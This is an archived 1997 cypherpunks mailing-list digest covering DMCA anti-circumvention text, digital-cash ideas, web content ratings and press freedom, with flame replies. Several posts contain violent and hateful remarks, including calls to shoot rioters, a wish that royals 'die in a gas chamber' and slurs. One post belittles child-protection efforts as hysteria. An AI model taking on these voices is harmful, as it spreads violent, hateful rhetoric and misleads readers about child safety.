================= Background Information ==========================
For reference, HR 2281 is available at:

ftp://ftp.loc.gov/pub/thomas/c105/h2281.ih.txt

Section 1201(a) states:

`(a) VIOLATIONS REGARDING CIRCUMVENTION OF TECHNOLOGICAL
    PROTECTION MEASURES- (1) No person shall circumvent a technological
protection
    measure that effectively controls access to a work protected under this
title.

    `(2) No person shall manufacture, import, offer to the public, provide
or otherwise traffic
    in any technology, product, service, device, component, or part thereof
that--

        `(A) is primarily designed or produced for the purpose of
circumventing a
        technological protection measure that effectively controls access
to a work protected
        under this title;

        `(B) has only limited commercially significant purpose or use other
than to
        circumvent a technological protection measure that effectively
controls access to a
        work protected under this title; or

        `(C) is marketed by that person or another acting in concert with
that person for use
        in circumventing a technological protection measure that
effectively controls access to
        a work protected under this title.

    `(3) As used in this subsection--

        `(A) to `circumvent a technological protection' means to descramble
a scrambled
        work, to decrypt an encrypted work, or otherwise to avoid, bypass,
remove,
        deactivate, or impair a technological protection measure, without
the authority of the
        copyright owner; and

        `(B) a technological protection measure `effectively controls
access to a work' if the
        measure, in the ordinary course of its operation, requires the
application of
        information, or a process or a treatment, with the authority of the
copyright owner, to
        gain access to the work.
============= End of Background Information ==========================




===================================
Kaye Caldwell,  Policy Director
CommerceNet
http://www.Commerce.net
E-mail: KCaldwell@Commerce.net
Phone: (408) 479-8743    Fax: (408) 479-9247
===================================
-------------------------------------------------------------------------
This message was sent by a majordomo-based automatic list manager.
Subscriptions to and archives of this list are available to CommerceNet
members, partners, and invited guests.  For further information send a mail
message to 'member-sponsored-request@lists.commerce.net' with 'help' (no
quotations) contained in the body of your message.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 3 Sep 1997 11:10:54 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708280445.XAA08389@mailhub.amaranth.com>
Message-ID: <199709030105.UAA00525@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



William said (and so did others):
> >At 06:10 PM 8/27/97 PDT, John Smith wrote:
> >>William H. Geiger III:
> >>>In the Salem witch trial they were government trials (which were >based
> >>>a political power struggle in Salem at the time) not lynch mobs.
> >>And how about our gun-crazy friend, who'd shoot anybody who messed
> >>dies?  Sounds to me like we've got another shooting coming.  Is that
> >>the kind of world you want to live in?
> >I like the little comment made in the first of MIB.  And I paraphrase.
> >Individuals are intelligent, people are stupid.

	No, people are stupid. Singly, in pairs, triples, or larger groups.
I think it is just that the stupider people are attracted to large groups. 

> >Better ones would be the LA Riots and the famous broadcast of War of the
> >Worlds.
> And where were are beloved Police? Hiding elseware eating thier donuts
> becuse they were too *chicken shit* to do thier job. It only goes to show

	Were I an honest cop during that period of time, and assuming that we
got *something resembling the truth* from the media (eventually) you can bet 
your bottom dollar I'd have turned in my badge and left town for healthier 
climates. 

> that when the chips are really down you can not count on the government to
> save you.

	When the chips are down, you'd better count on nothing but yourself.

> And before anyone ask yes I think that every rat bastard involved in the
> riots should have been shot on sight.

	I think that every rat bastard that *DIDN'T* go after the cops should 
have been shot. Those that went after the police stations should have just 
been beaten severly...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Wed, 3 Sep 1997 10:24:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: U.S. Refugees Flee to Germany
Message-ID: <19970902.200914.2511.6.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 9:46 AM 8/28/1997, Tim May wrote:
>At 8:20 AM -0700 8/28/97, Anonymous wrote:
>>~Now, the pages are back online on a small server in Germany.
Organizers
>>of the site are raising funds to purchase their own direct connection
to
>>the Net. However they don't want their computer to be in the US-- but
>>not because they plan to violate any US laws. "We are very nervous
>>about being here," says Jim Finn, who helps run the Free Spirits, "if
>>the government is going to use underhanded tactics to intimidate our
>>providers and possibly confiscate our equipment." In the course of
>>investigations, police frequently seize computers that they never
>>return, even when they file no charges.
>>
>>  Perhaps Germany should start building refugee camps for American
>>homosexuals, Jews, and producers of strong encryption.
>...
>
>I assume this is a joke, as Germany is one of the last places one would
>choose for a censorship-free site!

This should be a good candidate for the Eternity service.

They aren't in the search engines yet.  Anybody know how to reach
them?

>But I'll contact Jim Finn about hosting my "The So-Called Holocaust" Web
>page, which explains how the International Jew Conspiracy has succeeded
in
>convincing the gullible that Jews were persecuted in the WW II, when all
>right-thinking Aryans know full well that they were coddled and rewarded
>and given choice vacation spots in "the East."

>Free Spirits should be an ideal host for this material.

Another good candidate for the Eternity service.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html
"I AM a number!  I am a free man!"

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yPbs88SaKYeSt7+uEEYTQXX0W1sTy8CdOpaiiFoopOaEYh2nO8SwFQ==
=pBPi
-----END PGP SIGNATURE-----




This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 3 Sep 1997 11:15:23 +0800
To: dpj@world.std.com (David Jablon)
Subject: Re: Monkey Wrench into the works
In-Reply-To: <3.0.1.16.19970828005458.3ae7e2f2@world.std.com>
Message-ID: <199709030109.UAA00549@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> On 8/27/97, James A. Donald replied paraphrasing Ben Franklin,
> (who really knew very little about cryptography):
> >What one man knows, nobody knows.
> >What two men know, everyone knows.
> >Shared secrets just don't work.
> 
> Clearly in many cases parties must share secrets.
> You and your bank keep mutual secrets about your money.

	Execpt that the bank lets the government in on it. 

> You and your doctor keep mutually secret medical data.

	Execpt in certain circumstances, when the doctor is 
legally bound to report your illness. Or when your chart is handled
by 20 or 30 people in a hospital. Or when the doctor makes a remark
to his lover/wife/mistress/boyfriend about your case. 
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 11:26:04 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: You really do want to volunteer, don't you? (fwd)
In-Reply-To: <Pine.SOL.3.96.970902154039.1031A-100000@rigel.cyberpass.ne t>
Message-ID: <v03102813b03286ee55b2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:05 PM -0700 9/2/97, Greg Broiles wrote:

>A more useful way to avoid corrections/citations/clarifications might be
>simply getting the details correct in the first place.
>

And a hearty fuck you to you as well.

Jeesh. You'll probably make a fine lawyer.



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 11:26:01 +0800
To: Robert Hettinga <cypherpunks@Algebra.COM
Subject: Re: Things we should be working on...
In-Reply-To: <v0310280cb031dea9cd30@[207.167.93.63]>
Message-ID: <v03102814b032876b7309@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:25 PM -0700 9/2/97, Robert Hettinga wrote:

>So, Tim, does this mean that you're now willing to fund development of any
>of those things?
...
>In other words, if you want to see it, Tim, and you can't build it
>yourself, hire it built, and see if it sells. It's risky, any investment
>is, but given your past financial success, you're demonstrably clueful
>enough to get a good return for any investment you make in cryptography.
>

Sorry I "donated" my time making up this list, given the messages I'm
seeing and the private chastisements of me for daring to suggest.
Apparently some of you think that only full-time C or Java programmers are
qualified to make suggestions.

And spare me the lectures on Capitalism 101.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "nobuki nakatuji" <bd1011@hotmail.com>
Date: Wed, 3 Sep 1997 11:35:14 +0800
To: cypherpunks@toad.com
Subject: RC2,RC4,CDMF algorithm
Message-ID: <19970903032213.26099.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





Does anybody know RC2,RC4,CDMF algorithm?
If you know these algorithm,
Please show me these algorithm.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 3 Sep 1997 12:09:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Missing Kids and Porn Links
In-Reply-To: <199709030151.VAA07747@yakko.cs.wmich.edu>
Message-ID: <19970903035857.3253.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Damaged Justice <frogfarm@yakko.cs.wmich.edu> writes:

 > The National Center for Missing and Exploited Children
 > (NCMEC) encourages the owners of Web sites to add a link
 > that will bring up the picture of a different missing child
 > every ten minutes. According to Ruben Rodriguez, Supervisor
 > of the Exploited Child Unit, the Center is getting 70 to 80
 > requests a day for information to create the link. Some
 > sites, however, have taken the initiative themselves,
 > including pornographic Web sites.

 > One popular porn site proclaims on its home page that,
 > "This Site Cares About Our Young Children! Please Take A Few
 > Seconds To Look At The Pictures Of The Missing Children!!
 > Every Ten Minutes When You Reload A Different Child's
 > Picture Appears! If We Can Save Just ONE! Then Wouldn't That
 > Be Worth It?" That particular site, said Rodriguez, will get
 > a cease and desist letter from the Center's chief legal
 > counsel.

The thing to realize here is that NCMEC is an agency which
receives almost 100% of its funding from government agencies, one
of which is the Juvenile Justice division of the US DOJ.

It has about as much to do with childrens' rights as aardvarks
have to do with starship design.  It exists primarily so that
news organizations can point and say "Childrens' Advocates
Praised the President's Decision" every time childrens' civil
liberties are further reduced, or some laughable new definition
of child porn is criminalized.

In addition, it helps to conduct the war against imagined
pedophiles, both at home and abroad, and enforces the property
rights of parents against any minor under the age of 18 who dares
to leave their bed and board.  These two agendas may be easily
combined, since if one is not with ones parents, one is obviously
in the clutches of an exaltation of pedophiles grooming one for a
life of sexual depravity.

While reasonable people would see little problem in popular adult
web sites also posting missing childrens' pictures, NCMEC toes
the child sex hysteric party line, and accepts links only from
ideologically pure "Save the Children" organizations, like CPAC,
which engage in content-based harrassment of perfectly legal
material, and which subscribe to the doctrine of "Voodoo
Molestation" when otherwise ordinary photographs are viewed.

If you're a missing or exploited child, seek the services of a
good childrens' legal advocate, not NCMEC, unless of course you
wish to have your picture on numerous grocery items, be returned
to your parents in handcuffs, and be used to promote someone
elses political agenda, the only "services" NCMEC has ever
managed to provide to children in need.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 3 Sep 1997 09:51:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Things we should be working on...
In-Reply-To: <v031107b0b031ba1e0d45@[139.167.130.248]>
Message-ID: <v031107c4b03262df6ab8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:58 am -0400 on 9/2/97, Tim May wrote:


> At 5:43 AM -0700 9/2/97, Robert Hettinga wrote:
> >So, Tim, what should we all be working on, in particular?
>
> OK, you asked. This isn't a comprehensive list.

[outstanding non-comprehensive list snipped]

So, Tim, does this mean that you're now willing to fund development of any
of those things?




Sorry to bait and switch you like that, Tim, but I had a point.

That is, if it doesn't make money, it won't happen. Economic
"utilitarianism", like the rest of reality, is not optional.

> Also, 95% of the crap about "digital commerce" is merely a distraction. The
> wrong direction, the wrong technology. Just "Visa on the Net," and hence of
> no real use for our sorts of goals. Worse, the wrong direction.

Agreed. Book-entry transactions on the internet are the functional
equivalent of an electric car with a power cord. Or trying to make a
supersonic derigible. And, the *only* way you can have bearer certificate
transactions on the net of any non-repudiable strength is with
cryptography. The strongest cryptographic protocols, for very little extra
cost, are those involving anonymous bearer certificates, and so, I claim,
anonymous bearer certificate protocols will eventually replace "Visa on the
Net", with digital bearer forms of picocash, or macrobonds, or anonymously
held equity or derivatives. You certainly can't do those anywhere, much
less on the net, with book-entry settlement. The net, or the machines which
use them, anyway, would choke on the overhead.

The internet sees audit trails as damage and routes around them, to torture
poor Gilmore's quote one more time...


So, my goal is *not* to maximize privacy, because it's a natural
consequence of my actual goal, which is reduce the cost of any given
transaction by 3 or so orders of magnitude. To maximize profit, in other
words. The way to do that, on a ubiquitous internet, is, paradoxically,
with strong cryptography. That, I am sure, is a fundemental economic fact
of the universe.

Amazing, isn't it, that my goal and your goal get the same result of
ubiquitous financial (and thus any other kind of) anonymity? Kind of like
the neat way that some mathematics describes physical processes, or that
aerodynamic flight, ostensibly orthogonal to economics, is cheaper than
long distance surface travel, much less boyant flight, for moving people
around. An argument that Hume would have loved, certainly. The connection
between privacy and economic return is only constant conjunction, like the
sun coming up tomorrow because it came up every morning in human memory.
It's going to be just as predictable, though.


So, getting back to my point, which Sameer and PGP and even RSA have proven
already, and which lots of the rest of us hope to prove going forward,
cryptoanarchy must pay for itself in order to be deployed. It's that
simple.

In other words, if you want to see it, Tim, and you can't build it
yourself, hire it built, and see if it sells. It's risky, any investment
is, but given your past financial success, you're demonstrably clueful
enough to get a good return for any investment you make in cryptography.


Cheers,
Bob Hettinga

- -----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


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jbPIzSeeDUHlOZ7SuZqLhYc7ox+iM50hKwlOnZL/tW0pwHq2srqaqQ==
=JGAl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Sep 1997 10:57:50 +0800
To: cypherpunks@toad.com
Subject: Re: Information
In-Reply-To: <3.0.2.32.19970902151846.007d3c30@smtp1.abraxis.com>
Message-ID: <auLFce28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> |> >>>> > > > Information, please!
> |> >>>> > > Dont go swimming on a full stomach.
> |> >>>> > Don't "escrow" your keys.
> |> >>>> Don't take advice from strangers.
> |> >>>Don't ask, don't tell.
> |> >>Don't eat yellow snow.
> |> >Don't spit, just swallow.
> | >Don't touch anything.
> Don't touch _there_.
Don't let the bastards grind you down.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Sep 1997 10:56:19 +0800
To: cypherpunks@toad.com
Subject: Re: Death Pictures of Diana on InterNet!!!
In-Reply-To: <199709022231.AAA10065@basement.replay.com>
Message-ID: <DJmFce31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> 	Made you look!

Did the Queen cunt place any bets of Di's death recently?

AP or not, all royal scum deserve to die in a gas chamber.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Sep 1997 11:02:21 +0800
To: cypherpunks@toad.com
Subject: Re: Death Pictures of Diana on InterNet!!!
In-Reply-To: <19970902225403.9059.qmail@zipcon.net>
Message-ID: <HmmFce32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> Now that pictures of Princess Diana trapped in the wreckage have been
> printed in European tabloids, it is only a matter of time before someone
> scans them and posts them to alt.binaries.pictures.tasteless.
>
> Clicking on such pictures, of course, is not the moral equivalent of
> having personally run Princess Diana off the road, regardless of what your
> neighborhood CPAC member would like you to believe.

This is off-topic, but... Why do people refer to the bastards who ran
Di's card off the road by some weird italian name?

They're JOURNALISTS.  Just like Declan here.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 3 Sep 1997 09:44:04 +0800
To: cypherpunks@Algebra.COM
Subject: Missing Kids and Porn Links
Message-ID: <199709030151.VAA07747@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text





[Relevant for all recent discussions on "linking without permission", as
well as the usual childpornhysteriamongering.]

   [1]SIDEBAR 
   
                          [2]Newsbytes Advertising
                                      
Missing Children Pix On Websites Overpopular

   ****Missing Children Pix On Websites Overpopular 09/02/97 SEATTLE,
   WASHINGTON, U.S.A., 1997 AUG 29 (NB) -- By Bruce Miller. The National
   Center for Missing and Exploited Children (NCMEC) encourages the
   owners of Web sites to add a link that will bring up the picture of a
   different missing child every ten minutes. According to Ruben
   Rodriguez, Supervisor of the Exploited Child Unit, the Center is
   getting 70 to 80 requests a day for information to create the link.
   Some sites, however, have taken the initiative themselves, including
   pornographic Web sites.
   
   "This is the kiss of death for us," said Rodriguez. "We want the
   public to help us find missing and exploited children. The Internet
   public is coming to us to display our banner on our sites.
   Unfortunately, there are some locations on the Internet that are
   inappropriate."
   
   One popular porn site proclaims on its home page that, "This Site
   Cares About Our Young Children! Please Take A Few Seconds To Look At
   The Pictures Of The Missing Children!! Every Ten Minutes When You
   Reload A Different Child's Picture Appears! If We Can Save Just ONE!
   Then Wouldn't That Be Worth It?" That particular site, said Rodriguez,
   will get a cease and desist letter from the Center's chief legal
   counsel.
   
   The popularity of linking to the rotating banner has added to another
   problem: load capacity on the Web server hosting the Center. With a
   million hits a day presently, and growing, the Center is looking
   around for a new site with greater capacity to eliminate congestion.
   
   For information about signing up with the banner program, send e-mail
   to banner@ncmec.com. Be patient, the popularity has put the staff a
   bit behind in responding.
   
   NCMEC's Web site is at [3]http://www.missingkids.com ; mirror site
   [4]http://www.missingkids.org .
   
   (19970902/Reported by Newsbytes News Network
   [5]http://www.newsbytes.com /EXKIDS/PHOTO)
   
   "The Pulse of the Information Age" Newsbytes News Network
   [6]http://www.newsbytes.com 24-hour computer, telecom and online news
   
   [7]Copyright (c)Newsbytes News Network. All rightsreserved. For more
   Newsbytes see http://www.newsbytes.com.
   
       [8]Home | [9]Daily | [10]Weekly | [11]Publishers | [12]Search

References

   1. http://www.newsbytes.com/menus/navbar.map
   2. http://www.newsbytes.com/OAS/rm/try-it.cgi/www.newsbytes.com/home.html
   3. http://www.missingkids.com/
   4. http://www.missingkids.org/
   5. http://www.newsbytes.com/
   6. http://www.newsbytes.com/
   7. http://www.nbnn.com/copyrght.html
   8. http://www.nbnn.com/home.html
   9. http://www.nbnn.com/news/s_daily.html
  10. http://www.nbnn.com/news/s_week.html
  11. http://www.nbnn.com/publishers/publi_1.html
  12. http://www.nbnn.com/html_p/search.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 3 Sep 1997 09:44:28 +0800
To: cypherpunks@Algebra.COM
Subject: t0902mt01.html
Message-ID: <199709030152.VAA07782@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1][LINK]
   
   Calgary Herald
   BUSINESS
     _________________________________________________________________
   
   Managing
   Your Money
   [2]Stock and Mutual Fund Quotes
   [3]Your Investments
   
   [4]Family Finance
   
   [5]Columns
   
   [6]Technology
   
   [7]Stock News
   
   [8]Search
   
   -->
   
                                 [9][LINK]
                                      
   [10]Calgary Herald Online Home Page
   [Main Menu............] __
   
   Press group refuses to join Internet rating scheme
   
   Amy Harmon
   The Ottawa Citizen
   
   A group of major news organizations took the digital high road last
   week. The group members -- which include Time, CNN, the New York
   Times, the Wall Street Journal and the Associated Press -- said they
   would allow their online editions to be rendered invisible to some
   Internet users rather than conform to a rating system that screens
   material dealing with sex or violence.
   
   "We support open access to information on the Internet," the group
   said in a statement. "And we will not rate our sites."
   
   That such a proclamation would be necessary, that it would be hashed
   out in a tense meeting that was closed -- oddly, given its agenda --
   to reporters and that it would be considered an important step forward
   by many of the executives participating is itself a commentary on the
   uncertain state of the free press on the Internet.
   
   But the electronic news publishers left unresolved the more baffling
   question of how to wedge such a seemingly routine commitment to the
   U.S. constitution's free-speech guarantees into the architecture of
   cyberspace and the cultural politics of the United States in the late
   1990s.
   
   The bind that Internet news providers find themselves in began with
   the U.S. Supreme Court's ruling earlier this summer that the
   Communications Decency Act was unconstitutional. The court found that
   the law, which banned the transmission of indecent material to minors
   over computer networks, was an overly broad restriction on speech --
   in part because existing technology would allow parents to control
   their children's access to such material.
   
   Eager to head off regulation, the online industry expressed enthusiasm
   for various rating systems at a meeting convened by the Clinton
   administration after the decision. Microsoft and Netscape, which
   together control the market for the browsers used to navigate the
   World Wide Web, agreed to incorporate a standard for ratings in the
   next release of their software.
   
   Theoretically, the standard (known awkwardly as the Platform for
   Internet Content Selection, or PICS) would allow any entity from Good
   Housekeeping to the Spice Girls to create a rating system. The browser
   would recognize all of them, and parents could choose the one that
   best fit their world view, or at least the lens they wanted their
   children to see through.
   
   But so far, the only major group to use PICS has essentially adapted
   to the Web a rating system designed for video games.
   
   Under the Recreational Software Advisory Council system, sites rate
   themselves on a scale of one to four for nudity, sex, violence and
   offensive language. The council, a non-profit association of
   entertainment and computer companies, performs random checks to make
   sure sites are representing themselves correctly. Parents can set the
   level of each category that they wish to screen for, and,
   significantly, unrated sites are blocked out.
   
   So far, about 40,000 of the Web's nearly one million sites have used
   the system.
   
   News sites, however, have for the most part found the ratings either
   inapplicable or abhorrent. "The rating of content, particularly in the
   area of violence -- to tell people whether they should or shouldn't
   read about war in Bosnia -- takes news and turns it into a form of
   entertainment," said Daniel Okrent, editor of new media at Time.
   
   It is perhaps not surprising that an entertainment-based rating system
   would be incapable of describing the vast quantities and qualities of
   information on the Internet. Religious organizations and government
   agencies are also reportedly unhappy with the Recreational Software
   Advisory Council's limitations.
   
   But the problem is more than just a given rating system. It is
   inherent in the technology -- or at least the purpose it is being used
   to achieve. Because to screen out certain material, like sexual
   images, every site has to be labelled in some fashion.
   
   "In the real world, you don't know what you're going to get before you
   get it," said Paul Resnick, one of the creators of PICS. "We're trying
   to create an online world where you do know what you're going to get,
   and once you set that as your priority, you have to start classifying
   things."
   
   To accommodate the concerns of news sites, the Recreational Software
   Advisory Council has proposed a "news" label that would rate by
   category, not by content. But that raises the question of how and who
   would define which sites would bear the designation.
   
   The ratings group had appealed to the Internet Content Coalition, a
   loose alliance of online news organizations that organized last week's
   meeting, to serve as a monitoring body.
   
   The idea was denounced by several attendees, but they did not offer a
   better one.
     _________________________________________________________________
   
   We welcome your suggestions; send e-mail to
   [11]online@theherald.southam.ca 
   This web site is a supplement to the Calgary Herald,
   a daily newspaper published in [12]Calgary, Alberta, Canada.
   Contents copyright 1996.
   [ [13]Calgary Herald Home Page ]

References

   1. http://ads.galaxy.southam.com/OAS/rm/try-it.cgi/www.ch.com/b-mm-m-1.htm
   2. http://www.southam.com/calgaryherald/cgi/finance/stocks&funds/overview.pl?paper=calgaryherald
   3. http://www.southam.com/calgaryherald/cgi/newsnow.pl?nkey=ch&file=/business/investments/investments.html
   4. http://www.southam.com/calgaryherald/cgi/newsnow.pl?nkey=ch&file=/business/familyfinance/familyfinance.html
   5. http://www.southam.com/calgaryherald/cgi/newsnow.pl?nkey=ch&file=/business/columns/columns.html
   6. http://www.southam.com/calgaryherald/cgi/newsnow.pl?nkey=ch&file=/business/technology/technology.html
   7. http://www.southam.com/calgaryherald/cgi/newsnow.pl?nkey=ch&file=/business/markets/marketsmenu.html
   8. http://www.southam.com/calgaryherald/cgi/newsnow.pl?nkey=ch&file=/business/search/searchch.html
   9. http://ads.galaxy.southam.com/OAS/rm/try-it.cgi/www.ch.com/b-mm-b-1.htm
  10. http://www.southam.com/calgaryherald
  11. mailto:online@theherald.southam.ca
  12. http://www.southam.com/calgaryherald/almanac/almanac.html
  13. http://www.southam.com/calgaryherald





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 3 Sep 1997 13:22:50 +0800
To: dlv@bwalk.dm.com
Subject: Re: Death Pictures of Diana on InterNet!!!
In-Reply-To: <HmmFce32w165w@bwalk.dm.com>
Message-ID: <19970903051312.12398.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr. Vulis writes:

> This is off-topic, but... Why do people refer to the bastards who ran
> Di's car off the road by some weird italian name?

In 1958, there was an Italian photographer named Tazio Secchiaroli who
discovered that newspapers would pay big money for pictures of "surprised" 
celebrities.  He is best known for a photograph of Egypt's King Farouk
overturning a restaurant table in frustration after being harrassed during
his meal.

When Federico Fellini made his 1960 film, "La Dolce Vita," where Marcello
Mastroianni played a frustrated gossip columnist, he created a
photographer sidekick for him based on Secchiaroli which he named
"Parparazzo" in the film. 

Since then, annoying photographers seeking to intrude upon celebrities and
provoke them into performing for the camera have been referred to as
"Paparazzi." 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 3 Sep 1997 10:42:27 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Things we should be working on...
Message-ID: <199709030236.WAA06659@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:58 AM 9/2/97 -0700, Tim May wrote:
...
>2. A usable form of Chaum's cash, a la Goldberg's or Schear's or Back's or
>whomever's implementation. An evolution of Magic Money, Hashcash, etc.,
>using full strength algorithms. Backing can be decentralized. Less emphasis
>on deals with banks, more emphasis on guerilla deployment, a la PGP.
>
>(Initial uses may be for illegal things, which may be a good thing for
>deployment. Sex, for example, historically drives technologies like this.
>Thus, one might imagine combining blinded (no puns, please) cash with
>message pools to allow users to anonymously purchase JPEG images and have
>the resultant images placed in a pool for their later browsing. If done on
>a per image basis, for small amounts of digital cash, this could help users
>get their feet wet and gain familiarity. Integration into browsers would
>help.)
...
How about this.
The barter economy has predated the artificial construct that we know as money.
It even predates the use of precious metals, which are pretty worthless for
most uses.
Get some non bank supporters to accept "coupons" for thier merchandise.  At
first, this could easily be information based.  Make the "coupons" work on
all of this initial merchandise, which can be sold again and again, so
there's no great loss to the supporters.  Granted, this brings us back to a
form of money, but one based on commodies as opposed to worthless yellow
metal that is only sought after because it doesn't corrode and is soft
enough to work, (ignoring electronics, dental, and stained glass as more
recent developments for the shiny stuff.)
If PGP could be registered with a certain amount of these units, the same
with other crypto applications, all the better.  If people want this money,
they can call up their friendly neighborhood software salesman and buy it
knowing full well that if they ever want to, they can always trade it back
for a good "DOOM97 Hell Freezes Over" game.
They can take these signed DoomDollars to a moneychanger web site to change
it for PGPdollars, BorlandBucks, BlowfishClams and Kongbucks, all at the
current rate of change.
Just a stream of thought.  Maybe useful, maybe not.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 3 Sep 1997 14:02:09 +0800
To: cypherpunks@cyberpass.net
Subject: Europe puts pressure on FCC over accounting rate moves
Message-ID: <v03007811b032ab0c6dc7@[207.94.249.183]>
MIME-Version: 1.0
Content-Type: text/plain



#######################################################

                Telecoms Newsline

        A News Service for Telecoms Professionals
             Sponsored by Hewlett-Packard
              Issue 48: 2 September 1997
           http://www.telecomsnewsline.com

########################################################


Europe puts pressure on FCC over accounting rate moves
------------------------------------------------------
The European Commission (EC) has warned the US regulator, the Federal
Communications Commission (FCC), that its unilateral action (see TN
46) could jeopardise the World Trade Organisation agreement on
telecoms. The FCC has rejected the WTO agreements sanctioned by the
ITU, and intends to impose its own cost-based accounting tariff for
international call terminations.

The US suffers an enormous trade deficit in telecoms services
because its international calls are much cheaper than those in many
other countries. This means that far more traffic originates in the
US for termination overseas than comes in from abroad, resulting in
American international operators paying out more than US$5 billion
per year to foreign carriers for the termination of calls.

The FCC has come up with its own benchmarking scheme which will be
introduced over the next five years. This has enraged many nations
who view it as dictatorial; it is also against the multilateral
approach of the WTO agreement. Furthermore, in the absence of
accurate data, the FCC has used countries1/4 GDP (rather than how much
it costs overseas operators to handle calls) to set the settlement
rates that US operators will be obliged to pay overseas carriers in
